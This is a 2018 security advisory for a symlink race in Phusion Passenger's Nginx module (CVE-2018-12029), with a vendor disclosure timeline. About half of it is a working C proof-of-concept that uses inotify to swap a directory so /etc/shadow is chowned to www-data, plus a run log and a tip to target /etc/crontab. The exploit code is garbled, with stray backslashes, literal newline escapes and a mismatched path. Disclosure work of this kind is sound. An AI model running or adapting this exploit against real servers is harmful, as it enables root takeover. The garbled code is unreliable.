Title: Phusion Passenger – ngx_http_passenger_module privilege escalation
Date Released: 13/06/2018
CVE: CVE-2018-12029
Author: Denis Andzakovic
Vendor Website: Phusion Passenger
Affected Software: Phusion Passenger < 5.3.2 – Nginx module
Privilege Escalation
The Passenger Nginx module creates a control_process.pid file and uses a chown system call to change the owner to www-data. By changing the control_process.pid file to a symbolic link after the file's creation but prior to the chown call, an attacker may change the ownership of any file on the filesystem to www-data. The following extract from the ngx_http_passenger_module.c file details the issue.
449 if (create_file(cycle, filename, (const u_char *) "", 0) != NGX_OK) {
450 result = NGX_ERROR;
451 goto cleanup;
452 }
453 do {
454 ret = chown((const char *) filename, (uid_t) core_conf->user, (gid_t) -1);
455 } while (ret == -1 && errno == EINTR);
456 if (ret == -1) {
457 result = NGX_ERROR;
458 goto cleanup;
459 }
The passenger_instance_registry_dir (which sets the passenger temporary directory location) needs to be set to a directory controllable by the www-data user for this vulnerability to be practically exploitable. By default, the Passenger Nginx installations are not configured in such a way that this race condition is exploitable; however, non-standard temporary directory configurations are not unusual. In the exploit proof-of-concept code detailed on the following page, the passenger_instance_registry_dir was set to /opt/mytmp, and configured as follows:
~$ ls -ld /opt/mytmp/
drwxr-xr-x 3 www-data www-data 4096 May 9 23:06 /opt/mytmp/
The following proof-of-concept waits for the creation of the passenger-<random> directory and replaces it with a new directory structure, including a control_process.pid symbolically linked to /etc/shadow. An attacker that controls /etc/shadow can manually set the password for the root user, effectively achieving privilege escalation. Please note, if testing this POC, the /etc/shadow file will likely be overwritten with the Passenger process ID. /etc/crontab may be a wiser target for practical exploitation purposes.
Proof-of-Concept
~$ ./privesc
[+] watching /opt/mytmp
[+] read 48
[+] Got name: passenger.JyOTuQI len 32
[+] Attacking: /opt/mytmp/passenger.JyOTuQI
[+] Race won? Check /etc/shadow
~$ ls -l /etc/shadow
-rw-r--r-- 1 www-data shadow 5 May 9 23:28 /etc/shadow
Proof-of-Concept - Exploit Code
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#define BUF_LEN (10 * (sizeof(struct inotify_event) + NAME_MAX + 1))
extern int errno;
void create_dummy_dir(){
if(mkdir("/var/tmp/passenger-privesc", 0755) < 0){
printf("[!] mkdir failed: %s\n", strerror(errno));
_exit(1);
}
if(mkdir("/var/tmp/passenger-privesc/web_server_info", 0755) < 0){
printf("[!} mkdir failed: %s\n", strerror(errno));\
_exit(1);\
}\
if(symlink("/etc/shadow","/var/tmp/passengerprivesc/web_server_info/control_process.pid") < 0){\
printf("[!] symlink failed: %s\n", strerror(errno));\
_exit(1);\
}\
}\n\nint main(){\
char * passenger_instance_registry_dir = "/opt/mytmp";\
int tlen = strlen(passenger_instance_registry_dir);\
int inot_fd, w;\
struct inotify_event * event;\
char buf[BUF_LEN];\
char * p;\
ssize_t len;\
\n create_dummy_dir();\
\n char target_path[strlen(passenger_instance_registry_dir) + 19];\
memset(target_path, 0x00, sizeof(target_path));\
char junk_path[strlen(passenger_instance_registry_dir) + 6];\
snprintf(target_path, sizeof(target_path), "%s/passenger.XXXXXXX",\
passenger_instance_registry_dir);\
snprintf(junk_path, sizeof(junk_path), "%s/junk", passenger_instance_registry_dir);\
\n inot_fd = inotify_init();\
if(inot_fd < 0){\
printf("[!] inotify_init() failed: %s\n", strerror(errno));\
return 1;\
}\
w = inotify_add_watch(inot_fd, passenger_instance_registry_dir, IN_CREATE);\
if(w < 0){\
printf("[!] inotify_add_watch() failed: %s\n", strerror(errno));\
return 1;\
}\
printf("[+] watching %s\n", passenger_instance_registry_dir);\
\n while(1){\
len = read(inot_fd, buf, BUF_LEN);\
printf("[+] read %zd\n", len);\
\n for (p = buf; p < buf + len; ) {\
event = (struct inotify_event *) p;\
if(event->name[0] == 0x70){ // check the first character is 'p'.\
printf("[+] Got name: %s len %u\n", event->name, event->len);\
\
memcpy(target_path+sizeof(target_path)-8, event->name+10, 7);\
printf("[+] Attacking: %s\n", target_path);\
\
rename(target_path,junk_path);\
rename("/var/tmp/passenger-privesc",target_path);\
\
printf("[+] Race won? Check /etc/shadow\n");\
goto end;\
}\
p += sizeof(struct inotify_event) + event->len;\
}\
}\
end:\n\
return 1;\
}\n```
## Disclosure Timeline
14/05/2018 – Vulnerability disclosed to Phusion team
15/05/2018 – Response from Phusion, advising they need some time to review the code base for similar vulnerabilities.
26/05/2018 – Update from Phusion developers, release is still under development.
06/06/2018 – Update from Phusion developers, release is planned.
08/06/2018 – Update from Phusion developers with the CVE number.
13/06/2018 – Phusion Passenger 5.3.2 released
13/06/2018 – Advisory released